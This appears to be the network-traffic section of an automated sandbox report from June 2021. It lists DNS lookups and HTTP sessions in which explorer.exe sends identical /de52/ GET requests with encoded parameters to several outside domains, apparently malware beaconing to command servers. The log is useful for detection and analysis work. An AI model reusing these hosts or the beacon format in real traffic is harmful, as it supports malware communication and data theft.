Jun 22, 2021 18:06:29.494532108 CEST	64206	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:06:29.569048882 CEST	53	64206	8.8.8.8	192.168.2.4
Jun 22, 2021 18:06:31.182023048 CEST	50904	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:06:31.248929977 CEST	53	50904	8.8.8.8	192.168.2.4
Jun 22, 2021 18:06:34.154006004 CEST	57525	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:06:34.230094910 CEST	53	57525	8.8.8.8	192.168.2.4
Jun 22, 2021 18:06:39.529205084 CEST	53814	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:06:39.600775003 CEST	53	53814	8.8.8.8	192.168.2.4
Jun 22, 2021 18:06:45.072633028 CEST	53418	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:06:46.067790985 CEST	53418	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:06:46.367737055 CEST	53	53418	8.8.8.8	192.168.2.4
Jun 22, 2021 18:06:47.354382992 CEST	53	53418	8.8.8.8	192.168.2.4
Jun 22, 2021 18:06:51.717861891 CEST	62833	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:06:51.792109966 CEST	53	62833	8.8.8.8	192.168.2.4
Jun 22, 2021 18:06:56.999191999 CEST	59260	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:06:57.062167883 CEST	53	59260	8.8.8.8	192.168.2.4
Jun 22, 2021 18:07:02.257379055 CEST	49944	53	192.168.2.4	8.8.8.8
Jun 22, 2021 18:07:02.320333958 CEST	53	49944	8.8.8.8	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jun 22, 2021 18:06:47.354677916 CEST	192.168.2.4	8.8.8.8	d00f	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 22, 2021 18:05:57.109780073 CEST	192.168.2.4	8.8.8.8	0xe467	Standard query (0)	www.collectordrive.com	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:02.382002115 CEST	192.168.2.4	8.8.8.8	0xc6ee	Standard query (0)	www.ty-valve.com	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:25.780879021 CEST	192.168.2.4	8.8.8.8	0xefc	Standard query (0)	www.ty-valve.com	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:28.525279045 CEST	192.168.2.4	8.8.8.8	0x722b	Standard query (0)	www.dietsz.com	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:34.154006004 CEST	192.168.2.4	8.8.8.8	0x1237	Standard query (0)	www.gangju123.com	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:39.529205084 CEST	192.168.2.4	8.8.8.8	0x8a88	Standard query (0)	www.ayanmobile.com	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:45.072633028 CEST	192.168.2.4	8.8.8.8	0xc82	Standard query (0)	www.securenotifications.com	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:46.067790985 CEST	192.168.2.4	8.8.8.8	0xc82	Standard query (0)	www.securenotifications.com	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:51.717861891 CEST	192.168.2.4	8.8.8.8	0x534	Standard query (0)	www.cuttingemporium.com	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:56.999191999 CEST	192.168.2.4	8.8.8.8	0x598a	Standard query (0)	www.optimismactivism.com	A (IP address)	IN (0x0001)
Jun 22, 2021 18:07:02.257379055 CEST	192.168.2.4	8.8.8.8	0xd849	Standard query (0)	www.occasionalassistant.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jun 22, 2021 18:05:57.184031963 CEST	8.8.8.8	192.168.2.4	0xe467	No error (0)	www.collectordrive.com	collectordrive.com		CNAME (Canonical name)	IN (0x0001)
Jun 22, 2021 18:05:57.184031963 CEST	8.8.8.8	192.168.2.4	0xe467	No error (0)	collectordrive.com		34.102.136.180	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:02.443214893 CEST	8.8.8.8	192.168.2.4	0xc6ee	No error (0)	www.ty-valve.com		192.155.181.250	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:25.839808941 CEST	8.8.8.8	192.168.2.4	0xefc	No error (0)	www.ty-valve.com		192.155.181.250	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:28.711617947 CEST	8.8.8.8	192.168.2.4	0x722b	No error (0)	www.dietsz.com		208.91.197.91	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:34.230094910 CEST	8.8.8.8	192.168.2.4	0x1237	No error (0)	www.gangju123.com	parking.namesilo.com		CNAME (Canonical name)	IN (0x0001)
Jun 22, 2021 18:06:34.230094910 CEST	8.8.8.8	192.168.2.4	0x1237	No error (0)	parking.namesilo.com		107.161.23.204	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:34.230094910 CEST	8.8.8.8	192.168.2.4	0x1237	No error (0)	parking.namesilo.com		188.164.131.200	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:34.230094910 CEST	8.8.8.8	192.168.2.4	0x1237	No error (0)	parking.namesilo.com		209.141.38.71	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:34.230094910 CEST	8.8.8.8	192.168.2.4	0x1237	No error (0)	parking.namesilo.com		192.161.187.200	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:34.230094910 CEST	8.8.8.8	192.168.2.4	0x1237	No error (0)	parking.namesilo.com		168.235.88.209	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:34.230094910 CEST	8.8.8.8	192.168.2.4	0x1237	No error (0)	parking.namesilo.com		198.251.81.30	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:34.230094910 CEST	8.8.8.8	192.168.2.4	0x1237	No error (0)	parking.namesilo.com		70.39.125.244	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:34.230094910 CEST	8.8.8.8	192.168.2.4	0x1237	No error (0)	parking.namesilo.com		64.32.22.102	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:34.230094910 CEST	8.8.8.8	192.168.2.4	0x1237	No error (0)	parking.namesilo.com		198.251.84.92	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:34.230094910 CEST	8.8.8.8	192.168.2.4	0x1237	No error (0)	parking.namesilo.com		204.188.203.155	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:34.230094910 CEST	8.8.8.8	192.168.2.4	0x1237	No error (0)	parking.namesilo.com		45.58.190.82	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:39.600775003 CEST	8.8.8.8	192.168.2.4	0x8a88	No error (0)	www.ayanmobile.com	ayanmobile.com		CNAME (Canonical name)	IN (0x0001)
Jun 22, 2021 18:06:39.600775003 CEST	8.8.8.8	192.168.2.4	0x8a88	No error (0)	ayanmobile.com		160.153.78.1	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:46.367737055 CEST	8.8.8.8	192.168.2.4	0xc82	No error (0)	www.securenotifications.com		35.209.88.35	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:47.354382992 CEST	8.8.8.8	192.168.2.4	0xc82	No error (0)	www.securenotifications.com		35.209.88.35	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:51.792109966 CEST	8.8.8.8	192.168.2.4	0x534	No error (0)	www.cuttingemporium.com	cuttingemporium.com		CNAME (Canonical name)	IN (0x0001)
Jun 22, 2021 18:06:51.792109966 CEST	8.8.8.8	192.168.2.4	0x534	No error (0)	cuttingemporium.com		34.102.136.180	A (IP address)	IN (0x0001)
Jun 22, 2021 18:06:57.062167883 CEST	8.8.8.8	192.168.2.4	0x598a	No error (0)	www.optimismactivism.com	optimismactivism.com		CNAME (Canonical name)	IN (0x0001)
Jun 22, 2021 18:06:57.062167883 CEST	8.8.8.8	192.168.2.4	0x598a	No error (0)	optimismactivism.com		34.102.136.180	A (IP address)	IN (0x0001)
Jun 22, 2021 18:07:02.320333958 CEST	8.8.8.8	192.168.2.4	0xd849	No error (0)	www.occasionalassistant.com	occasionalassistant.com		CNAME (Canonical name)	IN (0x0001)
Jun 22, 2021 18:07:02.320333958 CEST	8.8.8.8	192.168.2.4	0xd849	No error (0)	occasionalassistant.com		34.102.136.180	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.collectordrive.com

www.dietsz.com

www.gangju123.com

www.ayanmobile.com

www.securenotifications.com

www.cuttingemporium.com

www.optimismactivism.com

www.occasionalassistant.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49765	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 22, 2021 18:05:57.232847929 CEST	2490	OUT	GET /de52/?z6Ad_8Jp=q/8Nbvd67YPMVz3o7HcOnLFi8lrYmwA47pjKffLVRoseAGTrTNs7CZxo0gnZJZCgi/pT&Yz=0bpDyT HTTP/1.1 Host: www.collectordrive.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 22, 2021 18:05:57.373182058 CEST	2491	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 22 Jun 2021 16:05:57 GMT Content-Type: text/html Content-Length: 275 ETag: "60cf306c-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49773	208.91.197.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 22, 2021 18:06:28.881365061 CEST	6965	OUT	GET /de52/?z6Ad_8Jp=jbY8motXMJXjJrQ4SeyjR+FjRclRi1mJ8dBASwUO8jLWL5/FFIvWjS8rmQthPplPuKqV&Yz=0bpDyT HTTP/1.1 Host: www.dietsz.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 22, 2021 18:06:29.140470028 CEST	6966	IN	HTTP/1.1 200 OK Date: Tue, 22 Jun 2021 16:06:28 GMT Server: Apache Set-Cookie: vsid=927vr3719235890014433; expires=Sun, 21-Jun-2026 16:06:28 GMT; Max-Age=157680000; path=/; domain=www.dietsz.com; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_Uw4qiUju2zz+weO4mV2Gl7k1nX7kTZn8uaqVZARtigLqyAUX38aGdpukBvac52fhLQzpcbQQJ2UWrAn9Fd/c7g== Content-Length: 2548 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 2d 2d 0d 0a 09 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 64 69 65 74 73 7a 2e 63 6f 6d 2f 3f 66 70 3d 30 6c 64 30 74 25 32 42 4a 57 68 52 6b 38 57 64 56 54 50 47 50 4c 39 42 41 67 49 4f 6d 69 74 33 46 6f 79 4e 4c 33 46 37 50 47 25 32 46 70 4f 72 50 57 53 35 41 48 70 4c 72 4d 79 76 50 39 59 4f 33 77 70 61 51 59 63 76 36 79 56 53 42 43 58 32 70 68 63 4b 38 45 67 69 64 67 45 58 63 47 46 66 62 50 73 77 25 32 46 62 56 48 39 4b 7a 34 74 43 68 45 6e 77 30 49 38 56 71 71 6a 58 78 6e 4d 70 6d 6a 55 4f 62 69 37 4b 4b 76 54 68 51 73 35 77 52 69 4d 74 39 52 45 52 41 76 33 4e 78 55 32 73 4f 58 54 49 31 68 71 5a 4c 4c 44 55 4c 31 52 4f 49 25 33 44 26 70 72 76 74 6f 66 3d 35 4e 56 34 63 61 69 72 79 58 49 36 68 37 66 34 36 4d 39 25 32 46 74 25 32 42 39 58 48 36 65 78 70 6a 74 49 52 70 62 37 39 6a 5a 37 76 72 55 25 33 44 26 70 6f 72 75 3d 66 64 52 62 7a 77 45 45 57 6b 67 68 41 38 49 48 78 57 6b 78 63 76 68 5a 37 55 71 4b 53 72 75 50 76 6e 57 48 68 38 41 6a 57 62 72 59 48 4d 37 25 32 42 45 32 6f 41 6a 53 4d 25 32 42 46 55 51 68 31 6e 53 74 55 25 32 46 4f 64 4a 7a 6c 75 71 77 77 45 44 52 6b 36 43 6a 75 57 57 7a 32 59 79 6b 6a 44 4c 75 58 25 32 42 57 48 78 31 43 58 73 65 74 72 35 61 52 4e 74 75 6f 65 77 56 71 31 34 74 67 47 70 52 72 47 4a 32 42 6f 75 4b 49 75 6a 6e 7a 78 75 61 6e 7a 4a 4d 53 37 46 34 6f 63 76 78 33 48 31 58 7a 4e 65 38 75 6d 63 6c 51 69 75 79 6a 50 76 6f 54 6c 58 57 39 25 32 42 4a 47 56 76 71 73 46 75 6f 4e 74 36 51 38 26 63 69 66 72 3d 31 26 7a 36 41 64 5f 38 4a 70 3d 6a 62 59 38 6d 6f 74 58 4d 4a 58 6a 4a 72 51 34 53 65 79 6a 52 2b 46 6a 52 63 6c 52 69 31 6d 4a 38 64 42 41 53 77 55 4f 38 6a 4c 57 4c 35 25 32 46 46 46 49 76 57 6a 53 38 72 6d 51 74 68 50 70 6c 50 75 4b 71 56 26 59 7a 3d 30 62 70 44 79 54 22 3b 0d 0a 09 2f 2a 0d 0a 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78 70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6c 7a 68 36 70 6b 41 61 58 4c 50 49 63 63 6c 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65 6e 45 43 41 77 45 41 41 51 3d 3d 5f 55 77 34 71 69 55 6a 75 32 7a 7a 2b Data Ascii: ...top.location="http://www.dietsz.com/?fp=0ld0t%2BJWhRk8WdVTPGPL9BAgIOmit3FoyNL3F7PG%2FpOrPWS5AHpLrMyvP9YO3wpaQYcv6yVSBCX2phcK8EgidgEXcGFfbPsw%2FbVH9Kz4tChEnw0I8VqqjXxnMpmjUObi7KKvThQs5wRiMt9RERAv3NxU2sOXTI1hqZLLDUL1ROI%3D&prvtof=5NV4cairyXI6h7f46M9%2Ft%2B9XH6expjtIRpb79jZ7vrU%3D&poru=fdRbzwEEWkghA8IHxWkxcvhZ7UqKSruPvnWHh8AjWbrYHM7%2BE2oAjSM%2BFUQh1nStU%2FOdJzluqwwEDRk6CjuWWz2YykjDLuX%2BWHx1CXsetr5aRNtuoewVq14tgGpRrGJ2BouKIujnzxuanzJMS7F4ocvx3H1XzNe8umclQiuyjPvoTlXW9%2BJGVvqsFuoNt6Q8&cifr=1&z6Ad_8Jp=jbY8motXMJXjJrQ4SeyjR+FjRclRi1mJ8dBASwUO8jLWL5%2FFFIvWjS8rmQthPplPuKqV&Yz=0bpDyT";/*--><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_Uw4qiUju2zz+
Jun 22, 2021 18:06:29.140527964 CEST	6968	IN	Data Raw: 77 65 4f 34 6d 56 32 47 6c 37 6b 31 6e 58 37 6b 54 5a 6e 38 75 61 71 56 5a 41 52 74 69 67 4c 71 79 41 55 58 33 38 61 47 64 70 75 6b 42 76 61 63 35 32 66 68 4c 51 7a 70 63 62 51 51 4a 32 55 57 72 41 6e 39 46 64 2f 63 37 67 3d 3d 22 3e 3c 68 65 61 Data Ascii: weO4mV2Gl7k1nX7kTZn8uaqVZARtigLqyAUX38aGdpukBvac52fhLQzpcbQQJ2UWrAn9Fd/c7g=="><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="viewport" content="width=device-width"><meta http-equiv="X-UA-Co
Jun 22, 2021 18:06:29.140558004 CEST	6968	IN	Data Raw: 55 4c 31 52 4f 49 25 33 44 26 70 72 76 74 6f 66 3d 64 69 51 5a 30 7a 66 41 73 51 50 6c 59 79 72 62 46 31 59 73 45 37 30 38 33 78 45 64 7a 34 49 4d 55 56 50 44 71 49 4c 71 62 49 30 25 33 44 26 70 6f 72 75 3d 70 49 44 54 25 32 42 5a 72 38 67 43 68 Data Ascii: UL1ROI%3D&prvtof=diQZ0zfAsQPlYyrbF1YsE7083xEdz4IMUVPDqILqbI0%3D&poru=pIDT%2BZr8gChT1F7gmtUooT2JrYMbLlUvKsUBefbcgGW51B7ykUBXKQQsALHrs8dP7hU%2Fk9tWZSFj%2BS%2BNDAbLK0hhNuqi5aNUnsA%2BK9a%2FlXbDE6Psje84zp%2FmRE3KUS%2BrzEr%2BhRMuWA7nBdzPkodxk%2FqGkV
Jun 22, 2021 18:06:29.275923967 CEST	6969	IN	Data Raw: 55 4c 31 52 4f 49 25 33 44 26 70 72 76 74 6f 66 3d 64 69 51 5a 30 7a 66 41 73 51 50 6c 59 79 72 62 46 31 59 73 45 37 30 38 33 78 45 64 7a 34 49 4d 55 56 50 44 71 49 4c 71 62 49 30 25 33 44 26 70 6f 72 75 3d 70 49 44 54 25 32 42 5a 72 38 67 43 68 Data Ascii: UL1ROI%3D&prvtof=diQZ0zfAsQPlYyrbF1YsE7083xEdz4IMUVPDqILqbI0%3D&poru=pIDT%2BZr8gChT1F7gmtUooT2JrYMbLlUvKsUBefbcgGW51B7ykUBXKQQsALHrs8dP7hU%2Fk9tWZSFj%2BS%2BNDAbLK0hhNuqi5aNUnsA%2BK9a%2FlXbDE6Psje84zp%2FmRE3KUS%2BrzEr%2BhRMuWA7nBdzPkodxk%2FqGkV

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49776	107.161.23.204	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 22, 2021 18:06:34.372102976 CEST	6987	OUT	GET /de52/?z6Ad_8Jp=KfmGdnK98UrOdo4kMnFtb2+M9fToEn1F+Gzo6oV5pCedLQ1HneT9cj2ied9UzRR+PF6A&Yz=0bpDyT HTTP/1.1 Host: www.gangju123.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 22, 2021 18:06:34.511514902 CEST	6988	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 22 Jun 2021 16:06:34 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.gangju123.com?z6Ad_8Jp=KfmGdnK98UrOdo4kMnFtb2+M9fToEn1F+Gzo6oV5pCedLQ1HneT9cj2ied9UzRR+PF6A&Yz=0bpDyT Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49777	160.153.78.1	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 22, 2021 18:06:39.786784887 CEST	6989	OUT	GET /de52/?z6Ad_8Jp=VjXAIgKfhvF8hRWD/e05oFFe9piey6xRf/uiJW4aXhiEfFySQTYX7BGVKv+i/OP+5wGQ&Yz=0bpDyT HTTP/1.1 Host: www.ayanmobile.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 22, 2021 18:06:40.022874117 CEST	6990	IN	HTTP/1.1 307 Temporary Redirect Date: Tue, 22 Jun 2021 16:06:39 GMT Server: Apache X-Powered-By: PHP/7.3.27 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: sma_token_cookie=b3f0f9d0325ac9f0e1e456ac4dd5e969; expires=Tue, 22-Jun-2021 18:06:39 GMT; Max-Age=7200; path=/ Set-Cookie: sess=99b68994a776bbb61303eb0074393aaf0390e97d; expires=Tue, 22-Jun-2021 18:06:39 GMT; Max-Age=7200; path=/; HttpOnly Upgrade: h2,h2c Connection: Upgrade, close Location: http://ayanmobile.com/ Vary: User-Agent Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49778	35.209.88.35	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 22, 2021 18:06:46.522727013 CEST	6991	OUT	GET /de52/?z6Ad_8Jp=/MwPCQmb8N4Awmw4mMKJPRGOCBQ0FmS8LiYPDqoyki9FgjxxSyxFyKWOR1kxSGqMaJan&Yz=0bpDyT HTTP/1.1 Host: www.securenotifications.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 22, 2021 18:06:46.698638916 CEST	6993	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 22 Jun 2021 16:06:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Httpd: 1 Host-Header: 6b7412fb82ca5edfd0917e3957f05d89 X-Proxy-Cache: MISS X-Proxy-Cache-Info: 0 NC:000000 UP: Data Raw: 31 33 64 38 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 25 37 43 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 20 7b 0a 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 20 20 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 20 20 7d 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 7d 0a 20 20 20 20 2e 66 69 74 2d 77 69 64 65 20 7b 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 32 34 30 70 78 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 36 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 36 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 32 30 70 78 3b 0a 20 20 20 20 7d 0a 20 20 20 20 2e 62 61 63 6b 67 72 6f 75 6e 64 2d 77 72 61 70 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 7d 0a 20 20 20 20 2e 62 61 63 6b 67 72 6f 75 6e 64 2d 77 72 61 70 2e 63 6c 6f 75 64 2d 62 6c 75 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 62 30 65 30 65 39 3b 20 7d 0a 20 20 20 20 2e 62 61 63 6b 67 72 6f 75 6e 64 2d 77 72 61 70 2e 77 68 69 74 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 7d 0a 20 20 20 20 2e 74 69 74 6c 65 20 7b 20 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 32 30 Data Ascii: 13d8f<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 - Not found</title> <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700%7CRoboto:400,700" rel="stylesheet"><style> * { box-sizing: border-box; -moz-box-sizing: border-box; -webkit-tap-highlight-color: transparent; } body { margin: 0; padding: 0; height: 100%; -webkit-text-size-adjust: 100%; } .fit-wide { position: relative; overflow: hidden; max-width: 1240px; margin: 0 auto; padding-top: 60px; padding-bottom: 60px; padding-left: 20px; padding-right: 20px; } .background-wrap { position: relative; } .background-wrap.cloud-blue { background-color: #b0e0e9; } .background-wrap.white { background-color: #fff; } .title { position: relative; text-align: center; margin: 20
